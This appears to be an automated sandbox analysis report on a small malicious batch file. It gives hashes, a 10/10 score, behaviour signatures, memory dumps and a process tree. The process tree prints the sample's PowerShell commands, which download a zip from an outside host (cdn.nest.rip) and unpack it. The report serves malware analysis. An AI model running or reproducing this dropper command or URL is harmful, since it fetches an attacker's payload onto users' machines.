3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1375s
max time network
1162s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
31/10/2023, 17:28

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General

Target

tesy - Copy (13).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2944	powershell.exe
2944	powershell.exe
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2944	2892	cmd.exe	87
PID 2892 wrote to memory of 2944	2892	cmd.exe	87
PID 2892 wrote to memory of 3900	2892	cmd.exe	99
PID 2892 wrote to memory of 3900	2892	cmd.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3900

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ef5ef35c3059825861b16409862d0e3d

SHA1
cde5311765478b1bcf309219c1a86a0238612099

SHA256
53df4a6c07213c72fa9c8f1e6c20d5a771d587744f775b4d45b647c1f890cc4b

SHA512
3c5814f9f94f4127f175b79e9d95eb7426c67b2d593ef6880c62cc3541d36142b9cb7391e3eac58fe45991d4e5fa7f979c96cba91da2354b7f56d8a2bb76dd20

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oheqpmuh.ffq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2944-16-0x0000023935C10000-0x0000023935C20000-memory.dmp

Filesize
64KB

Download
memory/2944-10-0x00007FFAEBCA0000-0x00007FFAEC761000-memory.dmp

Filesize
10.8MB

Download
memory/2944-13-0x00007FFAEBCA0000-0x00007FFAEC761000-memory.dmp

Filesize
10.8MB

Download
memory/2944-14-0x0000023935C10000-0x0000023935C20000-memory.dmp

Filesize
64KB

Download
memory/2944-15-0x0000023935C10000-0x0000023935C20000-memory.dmp

Filesize
64KB

Download
memory/2944-12-0x0000023935C10000-0x0000023935C20000-memory.dmp

Filesize
64KB

Download
memory/2944-19-0x00007FFAEBCA0000-0x00007FFAEC761000-memory.dmp

Filesize
10.8MB

Download
memory/2944-11-0x0000023935C10000-0x0000023935C20000-memory.dmp

Filesize
64KB

Download
memory/2944-5-0x0000023935BA0000-0x0000023935BC2000-memory.dmp

Filesize
136KB

Download
memory/3900-31-0x00000239A09A0000-0x00000239A09B0000-memory.dmp

Filesize
64KB

Download
memory/3900-32-0x00000239A09A0000-0x00000239A09B0000-memory.dmp

Filesize
64KB

Download
memory/3900-30-0x00007FFAEBEF0000-0x00007FFAEC9B1000-memory.dmp

Filesize
10.8MB

Download
memory/3900-34-0x00000239A09A0000-0x00000239A09B0000-memory.dmp

Filesize
64KB

Download
memory/3900-36-0x00007FFAEBEF0000-0x00007FFAEC9B1000-memory.dmp

Filesize
10.8MB

Download